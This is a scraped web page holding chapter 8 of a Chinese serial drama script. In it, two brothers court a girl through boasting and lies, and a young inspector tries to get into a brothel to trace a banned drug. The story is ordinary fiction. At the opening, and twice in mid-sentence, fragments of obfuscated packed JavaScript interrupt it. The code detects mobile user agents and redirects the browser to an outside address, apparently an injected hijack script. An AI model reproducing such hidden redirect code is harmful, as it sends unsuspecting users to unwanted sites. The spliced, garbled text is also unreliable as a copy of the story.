l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007417|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守泰:哦,他就是我弟弟金鹏。鹏子,快叫郑嫂子! 金鹏:哦,郑嫂子!还有……仙儿姑娘!呵呵,幸会!幸会! 郑嫂子:大家快坐下吧!喝杯茶、吃点东西,咱们慢慢聊! 见桌上的茶点已经备好,余守泰怀着歉意对郑嫂子道。 余守泰:郑嫂子,真不好意思,让你破费了! 郑嫂子:一杯茶钱而已,算不了什么!将来你们家鹏子和咱们家的仙儿若真的成了,你再回请我也不迟呀! 余守泰:呵呵,也是。到那时,我请你们全家在凤凰城最好的酒楼里美美地吃上一顿! 四个人各自坐下,边喝茶边聊。 郑嫂子:(笑眯眯地打量着金鹏)余大哥,你弟弟长得可真是一表人才呀! 余守泰:郑嫂子,不是我自吹自擂,我这个弟弟虽然不是什么大户人家的公子,模样却长得十分贵气,他小的时候,我找了几个先生给他算命,个个都说他将来肯定会出人头地。咱们哥俩之所以能从锦州来到这里,不就是托了他的福吗? 郑嫂子:(点点头)嗯,说得是。(问金鹏)小兄弟,你在总会里都干些什么呀? 余守泰:(推了下金鹏)鹏子,郑嫂子问你话呢,快说吧! 金鹏:哦,我在和敬堂里帮风堂主处理一些会内的事。 余守泰:要不怎么说他忙得很呢!如今在和敬堂里,除了风堂主之外,就是他了! 金鹏:哥,你别胡说!和敬堂里又不是只有我一个人…… 余守泰:虽然不是只有你一个人,可如今风堂主最器重的就是你,不是吗? 郑嫂子:余大哥,听你这意思,你弟弟在总会里干得挺不错呀! 余守泰:这小子虽然来这里没多久,可他有才华,又勤奋上进,像他这样的,试问谁不喜欢呀? 郑嫂子:嗯。难怪我一见到他,就觉得不一般呢!(问伍仙儿)仙儿,你觉得呢? 伍仙儿:我?(羞答答地)金公子这么优秀,仙儿只怕配不上他…… 余守泰:哪里哪里!仙儿姑娘,咱们家鹏子虽然看上去风流倜傥,其实他这个人专情得很,甭管是谁,只要嫁给了他,婚后的日子,那是什么都不用愁了! 郑嫂子:余大哥,你弟弟这么年轻,就已经这么有出息了,等他到了咱们这个岁数,兴许我都高攀不上了! 余守泰:郑嫂子,瞧你说的!正所谓吃水不忘挖井人,他俩若是成了,以后还不得感谢你这个媒人呀! 余守泰和郑嫂子一唱一和,将金鹏和伍仙儿往一块儿撮合,金鹏的话不多,伍仙儿又羞答答,两个人反倒成了陪衬。 8-5 街道上(日,外) 人物:余守泰、金鹏 回去的路上,余守泰问金鹏。 余守泰:鹏子,刚才跟仙儿姑娘在一起时,你怎么不说话呀? 金鹏:你把话都说完了,我还能说什么呀? 余守泰:我说的那些话,你会说吗? 金鹏:你那是在吹牛! 余守泰:就算是在吹牛,只要能把媳妇儿娶进门,有何不可? 金鹏:娶进门之后呢?如果她发现你在撒谎,能跟你好好过吗? 余守泰:只要成了亲,就由不得她了。 金鹏:我觉得这样不妥。要不你跟郑嫂子说一声,还是算了吧! 余守泰:鹏子啊鹏子,你果然不懂人情世故呀!你去问问郑嫂子,当年她是怎么嫁给你郑大哥的? 金鹏:怎么嫁的?总不至于也是被他骗了吧? 余守泰:嘿嘿,说对了!你郑嫂子当年可是她们村里出了名的大美人,上门提亲的人把门槛都踩破了,可唯有你郑大哥给的彩礼最丰厚。 金鹏:郑大哥在你的手下干活儿,他能有多少钱呀? 余守泰:他虽然没钱,但他可以借呀! 金鹏:郑嫂子不知道这件事吗? 余守泰:这就是你郑大哥的高明之处!他直到入了洞房之后,才把这件事告诉你郑嫂子。郑嫂子知道后,气得不得了,却也没什么办法,只能跟着他一边过日子一边还债。 金鹏:哥,你该不会也打算这么办吧? 余守泰:舍不得孩子套不住狼!她虽然婚前吃点儿亏,但婚后你若对她好点儿,不也赚回来了吗? 金鹏:唉,这样行吗? 余守泰:等将来你们一家几口和和美美地在一起时,你就会明白这样做的好处了!嘿嘿! 71. 第八篇 桂先生的药 梁州,翡宁酒庄 8-6 葡萄园(日,外) 人物:洛宁、翡翠 洛宁没精打采地蹲在地上。 翡翠:喂喂喂,我让你翻土,你傻愣着干嘛? 洛宁:唉,我一听说欧阳兰兰去了梅州,干起活儿来就没力气了! 翡翠:你就不能偶尔靠一下自己吗? 洛宁:翡翠,你能不能早点儿把欧阳兰兰给娶了呀? 翡翠:(脸倏地一沉)等她回来,我就跟她分手。 洛宁:你敢! 翡翠:(眉毛一挑)有何不敢? 洛宁:翡翠,我求求你了!看在酒庄的份上,只要她不跟你提分手,你就千万不要跟她提分手,好不好? 翡翠:(瞪)那你还不快点儿干活!哼! 8-7 主屋一楼,厨房(夜,内) 人物:洛宁、翡翠、路易、安琦 干了一天的活儿,洛宁一进屋,便往椅子上一躺,不肯起来了。 洛宁:唉,累死我了! 翡翠:晚上想吃些什么? 洛宁:(摆摆手)不吃了。 她翻身背对着他,闭上眼睛,刚进入梦乡,忽然闻到一股烤肉的香味儿。 洛宁:好香啊!余大哥,你是不是又在做烤肉呀? 她迷迷糊糊地起了身,向厨房走去。 厨房的架子上,烤肉正滋滋冒烟,诱人的香气馋得她直流口水。 洛宁:余大哥,你什么时候来的? 见她的眼睛半睁半闭,翡翠忍不住笑了:这家伙还没醒呢!他决定戏弄她一下,便模仿着余守泰的口吻。 翡翠:我刚刚才来,见你在睡觉,所以没敢吱声。 洛宁:金鹏呢?他没跟你一起来吗? 翡翠:金鹏没来,不过银华一会儿就来。 洛宁:(瞬间惊醒)啊!那他岂不是要跟我抢肉吃?不行不行,我得在他来之前,把这些肉全吃光了!(伸手去拿架子上的烤肉,却被翡翠拦住) 翡翠:肉还没烤好,急什么呀?别烫着了! 洛宁:(这才看清楚)翡翠?怎么是你?余大哥呢?(环顾四周,没看见余守泰的影子)怎么回事?刚才我明明听见他在说话,怎么一会儿就走了?他什么时候走的? 翡翠:你一醒,他就走了。 洛宁:是吗?他是不是有什么急事呀?(见他手里拿着烤肉夹)咦,翡翠!怎么是你在烤肉?噢,我明白了!你肯定想背着我偷吃!哼! 翡翠:(白了她一眼)我敢说,你们督察府肯定办了不少冤假错案。 洛宁:怎么可能!你凭什么这么说? 翡翠:我一看见你就知道了,哼! 洛宁:翡翠,你什么时候学会烤肉了?你以前不是从来不下厨吗? 翡翠:余大哥做的时候,我在旁边看了一眼。 洛宁:只看了一眼就学会了,你果然天资聪颖呀! 他夹起一块肉,轻轻地吹了吹,喂到她嘴边。 翡翠:尝尝看怎么样? 洛宁:闻上去挺香,至于味道嘛,(吃过之后发出一声惊呼)天哪!太好吃了!真的是你做的吗?哦,不对,刚才余大哥也在这儿,肯定是他做的! 翡翠:唉,早知道我就不叫醒你了! 门外传来一个声音:“咦,人呢?怎么都不见了?”没等二人过去,安琦和路易已经推门进来了。 洛宁:易大师!安琦!你俩怎么来了? 路易:我俩过来蹭饭吃啊!(见翡翠手里拿着锅铲)天哪!翠儿,你怎么亲自下厨了?太阳是不是打西边出来了? 翡翠:(白了他一眼)太阳已经落山了。 洛宁:我也没想到他会下厨,估计是余大哥走了之后,他想装装样子,糊弄一下咱们。 路易:余大哥也来了? 翡翠:(一脸的无奈)她说来了就来了吧,唉! 路易:呵呵,我明白了!(冲洛宁招招手)丫头,过来!让我瞧瞧! 洛宁:(走到路易面前)怎么了? 路易:(伸出一个指头)这是几? 洛宁:我没做梦,我已经醒了! 安琦:呵呵,她即使睡着了,也不会错过任何一顿美味。 众人上前给翡翠帮忙。 路易:翠儿,你的厨子呢? 翡翠:他家里有事,请假了。 路易:前两天不是才请过一回假吗?他家里怎么天天这么多事呀? 洛宁:不用说,肯定在偷懒了。(对着翡翠)要不你再换个厨子吧! 路易:他已经换了十多个了,没一个满意的。 洛宁:其实余大哥的菜烧得挺不错,可惜他太忙了,不可能天天来这里。 路易:他想多挣点儿钱,给他自己和他弟弟娶个好媳妇儿。 洛宁:欧阳世家的厨子也不少,要不等欧阳兰兰回来了…… 翡翠:(打断)我可以自己做。 路易:(搂住翡翠的肩膀)呵呵,翠儿,现在知道你的祖先当年有多么不容易了吧? 安琦:他以前除了酿酒之外,从不曾为别的事操过心,如今却不一样了。 翡翠:(白了安琦一眼)这些不都是拜你所赐吗?哼! 路易:呵呵,忆苦才能思甜嘛!(拿出一瓶酒)瞧瞧这是什么! 洛宁:天哪!是葡萄酒!你怎么会有这个? 路易:我托一位朋友从海上运过来的。 翡翠:你来这里才多久?哪里来的朋友? 安琦:易大师的能耐咱们大家都清楚,一瓶酒而已,对他来说不过是个小意思。 洛宁:只有这一瓶吗? 路易:(食指放在唇边)嘘!这是个秘密,如果被你知道了,肯定会赖在这里不走。 安琦:我们这几个人里面,他的酒瘾最大,在翡翠的酒尚未酿好之前,他能不先弄两瓶解解馋吗? 洛宁:(一脸的兴奋)这么说,咱们今晚可以就着它吃烤肉了? 安琦:(指着洛宁)是除了你之外的我们。 洛宁:(撅起嘴)就不能给我一小杯尝尝吗? 安琦:还记得四季园门前的那棵枣树吗? 洛宁:你说的是不是那棵被雷劈成两半的树? 路易:(笑着对安琦)你快把真相告诉她吧! 洛宁:什么呀? 安琦:它不是被雷劈了,而是被你放火烧了。 洛宁:不可能! 翡翠:那天晚上,整片园子都着了,差点儿毁在你的手上。 洛宁:怎么可能!我那时才不过十岁而已,不可能做出那样的事! 路易:(笑着对安琦和翡翠)听见没?你们不是常常说我吃了吐吗?这丫头酒后干的那些坏事儿,从来都没认过账!哈哈哈! 梁州,凤凰城 8-8 街道上(夜,外) 人物:金鹏、余守泰 兄弟俩在街上匆匆地走着。 金鹏:(忍不住抱怨)这才几天工夫,又要见面。今天喝杯茶、明天吃顿饭,媳妇儿还没娶进门,钱都已经花光了。 余守泰:这次跟上次不一样。 金鹏:怎么?换人了? 余守泰:换什么人呀?上次你那个小舅子不是没来吗? 金鹏:什么小舅子,我还没答应呢! 余守泰:答不答应不重要,只要你把他当成你的小舅子来看,没准儿哪天他就真成你的小舅子了。 金鹏:你既然这么在行,为何还没娶上媳妇? 余守泰:以前我交往的那些姑娘,不是都没有弟弟吗? 金鹏:有弟弟能怎样?没有弟弟又能怎样? 余守泰:这还用问吗?瞧瞧咱们哥俩不就知道了?你是我弟弟,我若遇上什么事,你肯定会护着我,对不对? 金鹏:这跟娶媳妇有什么关系? 余守泰:你的小舅子如果也喜欢你的话,自然会在他姐的面前替你说好话,这样一来,你俩不就更有希望了吗? 金鹏:事真多!照你这么说,她要是多几个兄弟姐妹的话,岂不是个个我都得巴结? 余守泰:家和万事兴嘛! 8-9 酒楼,雅间(夜,内) 人物:金鹏、余守泰、伍仙儿、伍灵儿 兄弟俩来时,伍仙儿和她弟弟还没到,他们便叫来伙计点菜。 金鹏:(见余守泰正琢磨着菜名,笑着打趣)甭看了,挑几样最便宜的就行了! 余守泰:便宜归便宜,但也不能太寒酸了。如果桌上全是素菜的话,人家会笑话咱们的! 金鹏:早知道这样,上次就别吹牛了!说什么我是和敬堂的二把手,和敬堂堂主的位子早晚一天会是我的。这句话若传了出去,人家才会笑话咱们呢! 余守泰:你若真成了和敬堂的堂主,谁敢笑话咱们? 金鹏:你以为堂主那么容易当呀? 余守泰:对别人来说不容易,对你来说就很容易。哥对你信心!嘿嘿! 金鹏:我连想都不敢想! 余守泰:错了!你不仅要想,还得天天去想! 金鹏:天天去想?疯了吧? 余守泰:鹏子,你不是喜欢宁姑娘吗?你若不留在总会里,怎么能天天见到她呢? 金鹏:咦,好像是啊! 余守泰:所以说哥哥我劝你力争上游,并不仅仅是贪图名利而已,试问哪个君子不想成人之美呀? 金鹏:(笑着点点头)嘿嘿,那我一定好好干! 伍仙儿来时,身后跟着一个十几岁的男孩。兄弟俩刚堆起笑脸迎上去,却意外地发现那个男孩不是别人,竟是那天偷他们东西的小子。 金鹏:(一把揪住男孩)臭小子!你来这里干嘛?是不是又想偷东西? 伍灵儿:(往伍仙儿的身后躲去)姐!救我! 听见这话,兄弟俩吓了一跳。 金鹏:(问伍灵儿)你刚才叫她什么?姐? 伍灵儿:(点点头)对呀!她是我姐,我是她弟! 余守泰:仙儿姑娘,这到底是怎么回事呀?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007418|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 伍仙儿:余大哥、金公子,这是我的弟弟伍灵儿。 伍灵儿:听清楚了没?快放开我!(挣脱金鹏的手,没好气地问伍仙儿)姐!你说的那个男的,该不会就是他吧? 伍仙儿:灵儿,这位就是金公子,这位是……(话没说完,已被伍灵儿打断) 伍灵儿:姐,他配不上你! 金鹏:说得太对了,我也觉得我配不上她!哥,咱们走!(这就要走,被余守泰拦住) 余守泰:急什么呀?上次的那件事,不过是一场误会…… 金鹏:(指着伍灵儿)哥!这家伙是个贼……(话没说完,嘴已被余守泰捂住) 余守泰:(赔上笑脸)仙儿姑娘,他认错人了!你别见怪! 伍仙儿:(板起脸问伍灵儿)灵儿,到底怎么回事?你是不是又偷人家东西了? 伍灵儿:怎么会呢!我已经说过我不干那个了,你怎么就不相信我呀? 余守泰:误会!误会! 金鹏:什么误会?分明就是他偷了咱们的东西,还躺在地上耍无赖,说咱们打了他! 伍仙儿:灵儿,是不是这样?你跟姐姐说句实话! 伍灵儿:真的没有!他们肯定是认错人了! 余守泰:对呀对呀!我们认错人了! 金鹏:哥! 余守泰:(瞪了金鹏一眼)鹏子,你能不能少说两句呀?不就是几块碎银子吗?丢了就丢了,还提它干嘛! 伍灵儿:姐,你听见没?他说的是丢了,不是被偷了!跟我没关系! 伍仙儿:余大哥,如果灵儿真的偷了你们的东西,你告诉我,我一定让他给你们还回去! 金鹏:好啊!臭小子,听见没?快把银子还给我们! 余守泰:(冲金鹏挤挤眼)胡说什么呢!(又笑着对伍仙儿)仙儿姑娘,没那回事儿!没那回事儿!一切都只是个误会!菜我已经点好了,咱们快入席吧! 金鹏拗不过余守泰,只得留了下来,却沉着一张脸,不去理会伍仙儿。见他这样,伍仙儿十分尴尬,反倒是伍灵儿,不住地打量着金鹏。 伍灵儿:姐,你不是说他在天地会里担任要职吗?可我看他的模样,一点儿也不像个官儿呀! 金鹏:(没好气地)天地会又不是官府,就算是堂主也不是个官儿。 伍灵儿:(嘲讽)噢,我明白了!你这个官儿,是自己给自己封的,对不对?哈哈哈! 伍仙儿:灵儿,别胡说!(对着金鹏)金公子,我弟弟没见过世面,他说的话你别在意! 余守泰:鹏子,你瞧瞧,人家仙儿姑娘多么通情达理呀!(招呼众人)来来来,大家别光顾着说话了,吃菜!吃菜!(用手肘碰了下金鹏)鹏子,愣着干嘛?快给人家仙儿姑娘夹菜! 虽然心里百般不乐意,碍于面子,金鹏还是夹起菜放进伍仙儿的碗里。 余守泰:仙儿姑娘,你尝尝,看合不合你的胃口? 伍灵儿:金公子,你在天地会里做事,每个月能挣多少钱呀? 余守泰:(抢先回答)他拿年薪,不拿月钱。 伍仙儿:年薪? 伍灵儿:哟,这么说,你还真是个官儿呀!年薪多少? 余守泰:不多,但也不少,也就四百两银子吧。 伍仙儿/伍灵儿:(吃惊)四百两银子?! 金鹏:(低声问余守泰)哥,你怎么越说越离谱了?我何时拿过四百两银子呀? 余守泰:(低声回答)加上我当花匠的收入,不就是四百两银子吗?我的钱就是你的钱,还分什么彼此呀! 伍灵儿:(立刻换了副笑脸,端起酒杯对金鹏)姐夫!我敬你一杯! 金鹏:(白了他一眼)哼,谁是你姐夫呀! 余守泰:(劝金鹏)鹏子!快喝吧! 金鹏:要喝你喝,我不喝! 余守泰:(见金鹏不肯,只好笑着打圆场)仙儿姑娘,你别见怪!我弟弟这两天喉咙有点儿疼,喝不了酒,要不让他以茶代酒,敬小舅子一杯,怎么样? 伍仙儿:灵儿,既然金公子不舒服,你就不要难为他了。余大哥,咱们还是吃菜吧! 余守泰:哎,好嘞,仙儿姑娘可真会心疼人呀! 8-10 街道上(夜,外) 人物:金鹏、余守泰 回去的路上,金鹏一脸的不高兴。 金鹏:以后还是别跟他们来往了! 余守泰:伍灵儿偷咱们的东西,仅从表面上看,确实不是什么好事,如今换个角度想想,这不正是老天爷在给你和伍仙儿做媒吗? 金鹏:她弟弟是个贼,你想跟这样的人成为一家人吗? 余守泰:他虽然手脚不干净,可毕竟还是个孩子,若善加劝导,以后还能改过自新。 金鹏:他连他姐姐都骗! 余守泰:你小的时候也没让我省过心呀!你瞧瞧你,如今不是混得挺好吗?看在仙儿的面子上,给他一个机会! 金鹏:你这么喜欢伍仙儿,干脆你去给他当姐夫得了!哼! 72. 第八篇 桂先生的药 梁州,凤凰城 8-11 督察府,张正清的屋子(日,内) 人物:张正清、洛宁 一大早,张正清便把洛宁叫了过来。 张正清:天堂草的事,你怎么看? 洛宁:薛老板不是已经走了吗? 张正清:人虽然走了,事还没了。 洛宁:怎么?他钱没给够吗?那你为何放他离开? 张正清:我指的是天堂草。 洛宁:天堂草在咱们国家虽然是禁药,可薛老板是外国人,他怎么吃都没关系。 张正清:前阵子我们在茂源县衙里遇见的那个老太太,你还记得吗? 洛宁:怎么?你还惦记着给人家当儿子呀? 张正清:(白了她一眼,耐着性子)她儿子怎么死的? 洛宁:服药过量呗!(突然反应过来)呀,他吃的不会是天堂草吧? 张正清:唉,你总算明白我的意思了。 洛宁:你的意思是天堂草也在咱们国家出现了? 张正清:以前出现过一回,不过被禁了,若再次出现,只怕又会祸害不少人。 洛宁:所以你想接着查下去。 张正清:没错。 洛宁:怎么查? 张正清:既然是在春风楼里出现的,当然是去春风楼里查了。 洛宁:(会意地笑了)噢,我明白了!你想去逛窑子,又不好意思说,只能以这个为借口了。 张正清:(咬牙切齿地)小屁孩,我真该拿根针把你的嘴巴缝上!哼! 洛宁:嘻嘻,张大哥,你想去就去吧,我保证不会告诉任何人! 张正清:不是我去,是你去! 洛宁:我? 张正清:我这张脸,一去那种地方立马就被认出来了,查不了。 洛宁:我的脸也很有辨识度呀! 张正清:你可以乔装改扮嘛。 洛宁:你怎么不让黄毅去? 张正清:他是皇子,若被他爹知道他去了那种地方,肯定要挨板子。 洛宁:难不成他爹就没去过呀? 张正清:(瞪了她一眼)别跟我扯那些,你就说你去不去吧? 洛宁:乔捕头呢?他也不能去吗? 张正清:他的岁数大了,我怕他经不起诱惑,晚节不保。 洛宁:如果你肯买单的话,我可以让易大师去,在那里住上一年到头都没问题。 张正清:这件事目前只是怀疑,我不想让太多的人知道。 洛宁:说来说去,你不就是想让我替你去瞧一瞧春风楼里的姑娘哪个最漂亮吗?行,我去!不过先说清楚,那种地方一晚上的花销可不小,你的钱准备好了没? 张正清:(递给她一个钱袋)就这些了。 洛宁:(打开一看撇撇嘴)才这么一点点儿,连喝顿花酒都不够! 张正清:你不会喝酒,自己悠着点儿,别给我惹麻烦!听见没? 洛宁:唉,知道了! 梁州,茂源城 8-12 春风楼,门前(夜,外) 人物:洛宁、田佳、老鸨 洛宁和田佳女扮男装,来到了春风楼。 田佳:(打量着春风楼的金字招牌和进进出出的人)这辈子,我还是头一回来这种地方。 洛宁:其实我早就想来瞧瞧了,可惜我哥每次都不肯带上我。 田佳:这种地方,你来了只会碍他的事。 洛宁:真不公平!凭什么男人们可以大摇大摆地进出这里,而咱们女人就只能被拒之门外? 田佳:咱俩若不是为了查案,来这里干嘛? 洛宁:就算这里只欢迎男人,但女人也不该待在家里相夫教子呀!男人能在外面找乐子,女人为何不能? 田佳:上哪儿去找?沉香国里的风月场所可都是为男人们开的。 洛宁:等我攒够了钱,也跟欧阳兰兰开一个,你若来的话,我给你免单。 田佳:如果到那时我还没成亲的话,一定来给你捧场。 洛宁:成亲了就不能来吗?你瞧瞧来这里的男人,哪个没有家室呀? 田佳:男人可以不顾家,但女人不行。如果因为这个,闹得一家人不痛快,多不值呀! 一个浓妆艳抹的女人迈着小碎步、笑嘻嘻地朝她俩走了过来。 老鸨:二位公子,怎么不进来呀?咱们春风楼的姑娘可都在盼着你们呢! 洛宁:老鸨,无双姑娘在不在?咱们今儿可都是冲着她来的! 田佳:(低声问洛宁)无双姑娘是谁? 洛宁:春风楼的头牌。 田佳:(吃惊)你连这个都知道? 洛宁:知己知彼,百战百胜。来之前若不打听清楚,怎么查案呀? 老鸨:嘻嘻,二位公子,你们应该是头一回来这里吧?要知道,咱们春风楼与别处的风月场所都不一样! 洛宁:哪里不一样? 老鸨:在别处的风月场所里吃一顿花酒,要花二两银子;但在咱们春风楼里,只需一两银子就够了。 田佳:难怪你们这里的客人这么多,原来是价钱比别处便宜些。 老鸨:话虽如此,但我们这里从来不收一顿花酒的钱。 洛宁:(激动)难不成头一回试吃还能免费? 老鸨:公子想在咱们这里喝花酒的话,可以先拿十两银子,办一张会员卡。 洛宁/田佳:会员卡? 老鸨:嘻嘻,没错。有了这张会员卡,您的十两银子可以当十二两银子使,也就是说,您可以在咱们这里吃上十二顿花酒。 洛宁:你的意思是让我一次付十顿的钱? 老鸨:买十送二,可划算了! 洛宁:如果我只想在你们这里吃上一顿呢? 老鸨:(收起笑容)不好意思公子,我们这里不接散客。 8-13 街道上(夜,外) 人物:洛宁、田佳 离开了春风楼,洛宁和田佳往客栈的方向走去。 田佳:老大给了你多少银子? 洛宁:二两。 田佳:只够咱们两个人喝一顿花酒的钱,怎么查案呀? 洛宁:咱们明天回凤凰城去,让他自己来查吧! 田佳:你哥在这里应该办的有会员卡吧? 洛宁:我敢说,他在全天下所有的风月场所里,都办的有会员卡,而且还都是最高级别的黑卡。 田佳:要不咱们把他的卡借过来用用? 洛宁:你觉得他会借给我吗? 田佳:他对你向来有求必应,一张会员卡而已,白送给你都没问题。 洛宁:你哥会让你来这种地方吗? 田佳:我没哥哥,嘿嘿! 洛宁:唉,行吧,我去找他问问。 梁州,凤凰城 8-14 洛府,木兰小院,木兰花树下(夜,外) 人物:洛宁、银华 晚饭后,银华又来找洛宁玩。 洛宁:银华,你们明天有球赛吗? 银华:有啊,怎么了?你也来吗? 洛宁:你帮我一个忙。 银华:上次我跟翡翠还没分出胜负,你再给我一次机会呗!我向你保证,这回我若输了,就再不找他的茬了! 洛宁:你俩爱怎么打都行,我只要你帮我盯紧紫旭,别让他中途溜了。 银华:你想干什么? 洛宁:别问了,反正你帮我看好他就行了! 8-15 天地会总会,练武场(日,外) 人物:银华、紫旭、弟子若干 球赛进行到一半时,紫旭要离开,被银华叫住。 紫旭:我还有点儿事,先走了! 银华:喂喂喂,紫旭!你什么意思呀?回回都是这个样子,才扳回一局就急着要走,你到底是在帮他们还是在帮我们呀? 紫旭:老大说了,让我早些回去…… 银华:我们老大也说让我早些回去,可我就是不听!你瞧瞧我,不是还活得好好的吗? 紫旭:你们恩威堂的事少…… 银华:信义堂没了你也照样能过!快来吧,别磨磨唧唧了!他们都没走,你走什么呀?不打败他们,绝不善罢甘休!哼! 见银华一心求胜,紫旭只好留了下来。 8-16 天地会总会,信义堂,紫旭的屋子(日,内) 人物:洛宁、洛青 趁着银华拖住紫旭的工夫,洛宁溜进紫旭的屋里,四处翻找会员卡。 洛宁:会在哪儿呢?哥哥的东西向来都交给他在保管,那些会员卡肯定也在这里,问题是这里这么多屉子,会放在哪一格呢? 终于,她在最底层的屉子里发现了一些描金的纸张,其中一张上面写着“春风楼”三个字。 洛宁:春风楼?太好了!就是这个!(刚要揣进怀里,耳朵却被人揪住) 洛青:死丫头!你可真行呀,偷东西竟然偷到自家人头上来了!(一把夺过会员卡)这是什么?春风楼?那不是茂源城里最大的妓院吗?你拿这个东西干什么?该不会又想去祸害谁吧? 洛宁:不是这样的!姐,你听我解释! 洛青:被我逮了个正着,还有什么好解释的?走!去找你哥! 洛宁:姐,你听我把话说完! 洛青:有什么话,等见了你哥再说! 洛宁:那就晚了!只要你不怕丢人,我跟你去一趟也无妨! 洛青:你还知道丢人呐?说!你要这个东西干什么? 洛宁:我是替张大哥拿的! 洛青:张督察? 洛宁:对呀!你也不想想,我要这种东西有何用?那种地方我又去不成! 洛青:他一个堂堂的督察,要这种东西又有何用?该不会是被你挑唆的吧? 洛宁:他多大岁数?我能挑唆得了他?姐,你冤枉我之前,能不能先用脑子想一想啊? 洛青:你……那你说,他要这个有什么用? 洛宁:上次他不是去了一趟茂源城吗?他对春风楼里的无双姑娘念念不忘,一心想要再见她一面,以解相思之苦。 洛青:所以他就派你来偷东西了?他想见她,不会直接去找她吗?用得着像这样偷偷摸摸吗? 洛宁:姐,你没去过春风楼,不知道她们那里的规矩。若非熟客,想见无双姑娘一面,那是难上加难。 洛青:连知县大人都不敢忤逆他的意思,一个小小的春风楼,能不给他面子吗? 洛宁:那样的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007419|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就算见着了无双姑娘,人家也会说他仗势欺人。 洛青:真的假的? 洛宁:你若不信,去问问张大哥呗! 洛青:问就问!东西我先替你收着,等问清楚再说!哼! 8-17 督察府,张正清的屋子(日,内) 人物:张正清、洛宁、洛青 洛青果然拿着会员卡来找张正清了,听她讲明缘由,张正清的脸先是一红,又指着洛宁道。 张正清:唉,我跟她说话的时候,她经常走神,这回准是又听岔了。(对着洛宁)小鬼,我那天明明说的是春晖城,你怎么听成春风楼了?幸亏被你姐发现了,不然的话,又不知道要给我捅多大的娄子。唉! 洛青:张大人,宁儿这丫头年纪虽小,胆子却大得很,她在您的手下做事,您可要把她盯紧了。 张正清:这是当然,我肯定不会让她乱来。 他这边冲着洛青笑,那边又恶狠狠地瞪了洛宁一眼。 洛青:既然是个误会,这件事就算了吧。 张正清:青姑娘,真不好意思,让你白跑了一趟。东西你拿回去,我哪儿用得上这个呀! 洛青带着会员卡离开了。 张正清:(脸倏地一沉,冲着洛宁吼)我让你去查案,你干什么去了? 洛宁:你给的二两银子,连春风楼的门都进不去。我能有什么办法?要不你也去办张会员卡? 张正清:你那么机灵,就没有别的办法吗? 洛宁:有啊! 张正清:那你为何不用? 洛宁:我怎么没用?我不是去偷我哥的会员卡了吗?明明已经到手了,又被你还了回去,真是白费力气!哼! 张正清:得得得!这件事你别管了! 洛宁:怎么?你不想查了吗? 张正清:已经有人在查了。 洛宁:谁呀? 张正清:(摆摆手)说了你也不认识,别问了。 8-18 天地会总会,前门(日,外) 人物:余守泰、伍灵儿 余守泰刚走出门,就听见有人在叫:“余大哥!余大哥!”当看见伍灵儿时,他十分意外。 余守泰:伍灵儿?你怎么到这里来了? 伍灵儿:(指了指门房)我想找我姐夫,可他们不让我进去。 余守泰:(皱了皱眉头)你姐夫出门办事去了,这几天都不在这里。还有啊,你别逢人就说他是你姐夫,八字还没一撇呢! 伍灵儿:(故意长叹一声)唉,行吧!以后我还是管他叫金公子,谁让人家是天地会里的大人物呢! 余守泰:臭小子,你别不识好歹!就凭咱们家鹏子这条件,想管他叫姐夫的大有人在,不缺你这么一个! 伍灵儿:嘿嘿,我明白!我姐昨儿还跟我说,让我跟着我姐夫多学点儿东西。 余守泰:嗯,你姐说得没错。你这个岁数,也该找个正经的事做,别整日游手好闲,净给你姐添麻烦! 伍灵儿:要不你跟我姐夫说一声,把我也弄进总会里去吧! 余守泰:(吓了一跳)你说什么?弄进总会里? 伍灵儿:对呀!如果咱们一家人都在总会里的话,将来这个总会不就是咱们的天下了吗? 余守泰:净胡说!总会里这么多人,你小子就算进来了,也只能当个老幺儿! 伍灵儿:不是还有我姐夫吗?你让他多提拔提拔我呗! 余守泰:小子,你不是天地会的人,不懂得这里的规矩。要知道,总会是从来不招收弟子的! 伍灵儿:有我姐夫这层关系,还怕不能通融一下吗? 余守泰:越是像你姐夫这样的,越是不能通融。 伍灵儿:哦,为何? 余守泰:高处不胜寒!你姐夫年纪轻轻,就已经爬到了这个位子,试问谁不眼红?倘若为你破了例,岂不是正好落人话柄? 伍灵儿:嗯,也是啊。那怎么办呢? 余守泰:要不你先去分会,在那里干上几年之后,再找个机会进入总会。 伍灵儿:那要等多久? 余守泰:这个不好说,你的功夫怎么样? 伍灵儿:我要是会功夫的话,那天就不会被你们抓住了。 余守泰:不会功夫,还想进入总会?开什么玩笑!小子,你还是去别的地方找点儿事做吧! 伍灵儿:就算我进不了总会,不过我既然来了,你带我进去逛逛呗! 余守泰:进去逛逛? 伍灵儿:对呀,也让我长长见识呗! 余守泰:你当这里是什么地方?想进就进、想出就出?若真如此,刚才他们就不会拦着你了! 伍灵儿:可我姐夫在这里,事后人家问起来,我若什么都说不上来,多丢脸呐! 余守泰:唉,也是。那行吧,我带你进去逛逛。 伍灵儿:嘿嘿,好嘞,咱们快走吧! 余守泰:急什么!咱们不走这个门! 伍灵儿:哦,那要从哪里进去? 余守泰:后面还有个小门,咱们从那里进去。 